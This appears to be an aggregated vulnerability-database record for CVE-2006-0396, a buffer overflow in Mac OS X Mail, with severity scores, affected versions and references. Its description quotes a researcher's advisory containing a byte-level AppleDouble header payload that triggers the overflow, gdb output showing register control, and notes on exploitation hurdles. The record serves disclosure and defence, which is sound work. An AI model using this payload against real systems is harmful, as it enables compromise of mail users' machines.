ID

VAR-200603-0281


CVE

CVE-2006-0396


TITLE

Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability

Trust: 0.9

sources: BID: 17081 // CNNVD: CNNVD-200603-268

DESCRIPTION

Buffer overflow in Mail in Apple Mac OS X 10.4 up to 10.4.5, when patched with Security Update 2006-001, allows remote attackers to execute arbitrary code via a long Real Name value in an e-mail attachment sent in AppleDouble format, which triggers the overflow when the user double-clicks on an attachment. Mac OS X Mail is prone to a remote buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer. A successful exploit may facilitate a compromise of the underlying computer. This issue is present in Apple Mail when 'Security Update 2006-001' is applied. An attacker can trigger this vulnerability by sending a specially crafted MIME-encapsulated Macintosh file containing an AppleDouble header. Download Validation is used to warn the user if the file type is not "safe". Prior to 2006-001 certain techniques could be used to disguise a file's type so that the validation was bypassed. Unfortunately in the process of patching the previous problem a new one was introduced. After applying Security Update 2006-001 Mail.app becomes vulnerable to a buffer overflow that may be triggered via a properly formatted MIME Encapsuled Macintosh file. Sending a file in the AppleDouble format with a long Real Name entry will invoke the overflow. Reading through RFC1740 should provide enough information to trigger the issue. The overflow is triggered by the file that contains the AppleDouble header information. The format of the header we need to send is as follows: [4 byte magic num][4 byte version num][16 bytes of filler][2 byte num of entries][Entry...] Entry descriptor for each Entry: [4 byte entry id][4 byte offset][4 byte length] Using the above layout we come up with the following code snippet for our exploit. "\x00\x05\x16\x07". # AppleDouble Magic Number "\x00\x02\x00\x00". # Version 2 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler "\x00\x03\x00\x00". # Number of entries (3) "\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info' "\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e "\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10 "\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name' "\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48 "\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245 "\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork' "\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d "\x05\x3a\x00\x00". # Length of Resource fork is 0x053a "\x00\x00\x00\x00". # <null> filler "\x00\x00\x00\x00". # <null> filler "A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above. If a message with the above header arrived in your inbox on Mail.app you would see only the first 11 characters of the name provided by the Real Name entry. In this particular case you see "AAAAAAAAAAA...mov" . Other examples could be "SuperTastey...mov" or NakedChicks...mov" . The visual aspects of the (...) are surprisingly not that suspicious. Upon double clicking the attached file on the arrived email the following dump is created. Date/Time: 2006-03-04 10:35:32.472 -0500 OS Version: 10.4.5 (Build 8H14) Report Version: 4 Command: Mail Path: /Applications/Mail.app/Contents/MacOS/Mail Parent: WindowServer [64] Version: 2.0.7 (746.2) Build Version: 1 Project Name: MailViewer Source Version: 7460200 PID: 271 Thread: 0 Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140 If we take a look at this in gdb we can see that several things are overwirtten. (gdb) bt #0 0x41424344 in ?? () Cannot access memory at address 0x41424344 Cannot access memory at address 0x31313131 Cannot access memory at address 0x41424344 Cannot access memory at address 0x41424344 #1 0x41424344 in ?? () Cannot access memory at address 0x41424344 Cannot access memory at address 0x41424344 Cannot access memory at address 0x31313131 warning: Previous frame identical to this frame (corrupt stack?) Cannot access memory at address 0x41424344 Cannot access memory at address 0x41424344 Cannot access memory at address 0x31313139 We control r0, pc, lr and half of r31. (gdb) i r $r0 $pc $lr $r31 r0 0x41424344 1094861636 pc 0x41424344 1094861636 lr 0x41424344 1094861636 r31 0x18b3030 25899056 Exploitation of this issue seems possible however there are currently some limitations with regard to what can and can not be done. The first issue involves previous exploitation attempts and the temporary files left behind by such attempts. k-fs-ibook:~ test$ ls -al /var/tmp/folders.502/TemporaryItems/ ~/Library/Mail\ Downloads/ /Users/test/Library/Mail Downloads/: total 352 drwx------ 7 test admin 238 Mar 13 22:42 . drwx------ 23 test admin 782 Mar 12 15:52 .. drwx------ 3 test admin 102 Mar 13 22:42 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000 11112222ABCD3333zzz.mov.mailhold /var/tmp/folders.502/TemporaryItems/: total 352 drwxr-xr-x 4 test wheel 136 Mar 13 22:38 . drwx------ 3 test wheel 102 Mar 12 10:35 .. -rwxr-xr-x 1 test wheel 90000 Mar 13 22:44 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00001 1112222ABCD3333zzz.mov.mov The existance of a particular temporary file can halt the actions of an exploit attempting to take advantage of this issue. While developing an exploit keeping the two folders shown above clean is critical! The temporary files appear to be created during the process of previewing a message. In some cases they may not be created due to failed mkstemp() calls. The next issue centers around the fact that RFC1740 states that the Real Name entry can only contain 7bit printable ascii, using shellcode addresses with 0xff and 0xbf will not be possible because of this. This obviously eliminates alot of easy shellcode addresses unfortunately. 0xbfffe6e1: "Users/test/Library/Mail Downloads/", 'a' <repeats 166 times>... 0xbfffe7a9: 'a' <repeats 52 times>, "00\032\xff\xf8" Code in other areas seems to be either in an unreliable location or in a unicode format. I am really not in the mood to hunt around memory for a stable address but I am sure that something could be put together to exploit this. Here is an example of the Unicode strings that can be found in memory at random places. (gdb) x/30a $r29 0x18b8a00: 0xa28e6424 0x12100000 0x2f0055 0x730065 0x18b8a10: 0x720073 0x2f0074 0x650073 0x74002f 0x18b8a20: 0x4c0069 0x620072 0x610072 0x79002f 0x18b8a30: 0x4d0061 0x69006c 0x200044 0x6f0077 0x18b8a40: 0x6e006c 0x6f0061 0x640073 0x2f0061 0x18b8a50: 0x610061 0x610061 0x610061 0x610061 0x18b8a60: 0x610061 0x610061 0x610061 0x610061 0x18b8a70: 0x610061 0x610061 On x86 the Unicode *may* not be a problem however I do not have access to an intel based mac so I can not confirm this. On PowerPC however for the time being there is not much I can do on the Unicode front. I am not aware of any Venetian style PowerPC lovin at the moment. For the time being my exploitation has not gone beyond what I have documented here. Beyond the few hurdles I have outlined may lie a few more, but who knows? Good luck. Work Around: Install 2006-002 update or simply do not open attachments in Mail.app http://www.apple.com/support/downloads/ Sidenote: Much thanks to Apple for the quick turnaround time and prompt weekend responses! A same day response and 9 day turn around is hard to beat

Trust: 2.88

sources: NVD: CVE-2006-0396 // CERT/CC: VU#980084 // JVNDB: JVNDB-2006-003846 // BID: 17081 // VULHUB: VHN-16504 // VULMON: CVE-2006-0396 // PACKETSTORM: 44647

AFFECTED PRODUCTS

vendor:applemodel:mac os xscope:eqversion:10.4.2

Trust: 1.6

vendor:applemodel:mac os x serverscope:eqversion:10.4

Trust: 1.6

vendor:applemodel:mac os x serverscope:eqversion:10.4.3

Trust: 1.6

vendor:applemodel:mac os xscope:eqversion:10.4.4

Trust: 1.6

vendor:applemodel:mac os x serverscope:eqversion:10.4.2

Trust: 1.6

vendor:applemodel:mac os x serverscope:eqversion:10.4.5

Trust: 1.6

vendor:applemodel:mac os xscope:eqversion:10.4.1

Trust: 1.6

vendor:applemodel:mac os x serverscope:eqversion:10.4.1

Trust: 1.6

vendor:applemodel:mac os x serverscope:eqversion:10.4.4

Trust: 1.6

vendor:applemodel:mac os xscope:eqversion:10.4.3

Trust: 1.6

vendor:applemodel:mac os xscope:eqversion:10.4.5

Trust: 1.0

vendor:applemodel:mac os xscope:eqversion:10.4

Trust: 1.0

vendor:apple computermodel: - scope: - version: -

Trust: 0.8

vendor:applemodel:mac os xscope:eqversion:10.4 to 10.4.5

Trust: 0.8

vendor:applemodel:mac os x serverscope:eqversion:10.4 to 10.4.5

Trust: 0.8

vendor:applemodel:mac os serverscope:eqversion:x10.4.5

Trust: 0.3

vendor:applemodel:mac os serverscope:eqversion:x10.4.4

Trust: 0.3

vendor:applemodel:mac os serverscope:eqversion:x10.4.3

Trust: 0.3

vendor:applemodel:mac os serverscope:eqversion:x10.4.2

Trust: 0.3

vendor:applemodel:mac os serverscope:eqversion:x10.4.1

Trust: 0.3

vendor:applemodel:mac os serverscope:eqversion:x10.4

Trust: 0.3

vendor:applemodel:mac osscope:eqversion:x10.4.5

Trust: 0.3

vendor:applemodel:mac osscope:eqversion:x10.4.4

Trust: 0.3

vendor:applemodel:mac osscope:eqversion:x10.4.3

Trust: 0.3

vendor:applemodel:mac osscope:eqversion:x10.4.2

Trust: 0.3

vendor:applemodel:mac osscope:eqversion:x10.4.1

Trust: 0.3

vendor:applemodel:mac osscope:eqversion:x10.4

Trust: 0.3

sources: CERT/CC: VU#980084 // BID: 17081 // JVNDB: JVNDB-2006-003846 // CNNVD: CNNVD-200603-268 // NVD: CVE-2006-0396

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2006-0396
value: MEDIUM

Trust: 1.0

CARNEGIE MELLON: VU#980084
value: 6.63

Trust: 0.8

NVD: CVE-2006-0396
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-200603-268
value: MEDIUM

Trust: 0.6

VULHUB: VHN-16504
value: MEDIUM

Trust: 0.1

VULMON: CVE-2006-0396
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2006-0396
severity: MEDIUM
baseScore: 5.1
vectorString: AV:N/AC:H/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: HIGH
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 4.9
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

VULHUB: VHN-16504
severity: MEDIUM
baseScore: 5.1
vectorString: AV:N/AC:H/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: HIGH
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 4.9
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CERT/CC: VU#980084 // VULHUB: VHN-16504 // VULMON: CVE-2006-0396 // JVNDB: JVNDB-2006-003846 // CNNVD: CNNVD-200603-268 // NVD: CVE-2006-0396

PROBLEMTYPE DATA

problemtype:NVD-CWE-Other

Trust: 1.0

sources: NVD: CVE-2006-0396

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-200603-268

TYPE

buffer overflow

Trust: 0.6

sources: CNNVD: CNNVD-200603-268

CONFIGURATIONS

sources: JVNDB: JVNDB-2006-003846

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-16504 // VULMON: CVE-2006-0396

PATCH

title:17081url:http://www.securityfocus.com/bid/17081

Trust: 0.8

title:id?1015762url:http://securitytracker.com/id?1015762

Trust: 0.8

title:19129url:http://secunia.com/advisories/19129

Trust: 0.8

title:articleurl:http://docs.info.apple.com/article.html?artnum=303453

Trust: 0.8

sources: JVNDB: JVNDB-2006-003846

EXTERNAL IDS

db:CERT/CCid:VU#980084

Trust: 3.4

db:NVDid:CVE-2006-0396

Trust: 3.0

db:SECUNIAid:19129

Trust: 2.6

db:BIDid:17081

Trust: 2.1

db:SECTRACKid:1015762

Trust: 1.8

db:VUPENid:ADV-2006-0949

Trust: 1.8

db:OSVDBid:23872

Trust: 1.8

db:JVNDBid:JVNDB-2006-003846

Trust: 0.8

db:CNNVDid:CNNVD-200603-268

Trust: 0.7

db:BUGTRAQid:20060314 DMA[2006-0313A] - 'APPLE OSX MAIL.APP RFC1740 REAL NAME BUFFER OVERFLOW'

Trust: 0.6

db:APPLEid:APPLE-SA-2006-03-13

Trust: 0.6

db:XFid:25209

Trust: 0.6

db:EXPLOIT-DBid:1583

Trust: 0.2

db:VULHUBid:VHN-16504

Trust: 0.1

db:VULMONid:CVE-2006-0396

Trust: 0.1

db:PACKETSTORMid:44647

Trust: 0.1

sources: CERT/CC: VU#980084 // VULHUB: VHN-16504 // VULMON: CVE-2006-0396 // BID: 17081 // JVNDB: JVNDB-2006-003846 // PACKETSTORM: 44647 // CNNVD: CNNVD-200603-268 // NVD: CVE-2006-0396

REFERENCES

url:http://docs.info.apple.com/article.html?artnum=303453

Trust: 2.9

url:http://www.kb.cert.org/vuls/id/980084

Trust: 2.7

url:http://lists.apple.com/archives/security-announce/2006/mar/msg00001.html

Trust: 1.8

url:http://www.securityfocus.com/bid/17081

Trust: 1.8

url:http://www.digitalmunition.com/dma%5b2006-0313a%5d.txt

Trust: 1.8

url:http://www.osvdb.org/23872

Trust: 1.8

url:http://securitytracker.com/id?1015762

Trust: 1.8

url:http://secunia.com/advisories/19129

Trust: 1.8

url:http://www.securityfocus.com/archive/1/427601/100/0/threaded

Trust: 1.2

url:http://www.vupen.com/english/advisories/2006/0949

Trust: 1.2

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/25209

Trust: 1.2

url:http://www.digitalmunition.com/dma[2006-0313a].txt

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-0396

Trust: 0.9

url:http://secunia.com/advisories/19129/

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2006-0396

Trust: 0.8

url:http://www.frsirt.com/english/advisories/2006/0949

Trust: 0.6

url:http://www.securityfocus.com/archive/1/archive/1/427601/100/0/threaded

Trust: 0.6

url:http://xforce.iss.net/xforce/xfdb/25209

Trust: 0.6

url:http://www.apple.com/macosx/

Trust: 0.4

url:/archive/1/427601

Trust: 0.3

url:https://cwe.mitre.org/data/definitions/.html

Trust: 0.1

url:https://www.rapid7.com/db/vulnerabilities/apple-osx-mail-cve-2006-0396

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://www.exploit-db.com/exploits/1583/

Trust: 0.1

url:http://www.apple.com/support/downloads/

Trust: 0.1

url:http://rfc.net/rfc1740.html

Trust: 0.1

sources: CERT/CC: VU#980084 // VULHUB: VHN-16504 // VULMON: CVE-2006-0396 // BID: 17081 // JVNDB: JVNDB-2006-003846 // PACKETSTORM: 44647 // CNNVD: CNNVD-200603-268 // NVD: CVE-2006-0396

CREDITS

Kevin Finisterre dotslash@snosoft.com

Trust: 0.6

sources: CNNVD: CNNVD-200603-268

SOURCES

db:CERT/CCid:VU#980084
db:VULHUBid:VHN-16504
db:VULMONid:CVE-2006-0396
db:BIDid:17081
db:JVNDBid:JVNDB-2006-003846
db:PACKETSTORMid:44647
db:CNNVDid:CNNVD-200603-268
db:NVDid:CVE-2006-0396

LAST UPDATE DATE

2024-11-23T21:03:29.802000+00:00


SOURCES UPDATE DATE

db:CERT/CCid:VU#980084date:2006-03-29T00:00:00
db:VULHUBid:VHN-16504date:2018-10-19T00:00:00
db:VULMONid:CVE-2006-0396date:2018-10-19T00:00:00
db:BIDid:17081date:2006-03-15T12:15:00
db:JVNDBid:JVNDB-2006-003846date:2014-03-11T00:00:00
db:CNNVDid:CNNVD-200603-268date:2006-03-21T00:00:00
db:NVDid:CVE-2006-0396date:2024-11-21T00:06:21.873

SOURCES RELEASE DATE

db:CERT/CCid:VU#980084date:2006-03-17T00:00:00
db:VULHUBid:VHN-16504date:2006-03-14T00:00:00
db:VULMONid:CVE-2006-0396date:2006-03-14T00:00:00
db:BIDid:17081date:2006-03-13T00:00:00
db:JVNDBid:JVNDB-2006-003846date:2014-03-11T00:00:00
db:PACKETSTORMid:44647date:2006-03-14T22:24:53
db:CNNVDid:CNNVD-200603-268date:2006-03-14T00:00:00
db:NVDid:CVE-2006-0396date:2006-03-14T11:02:00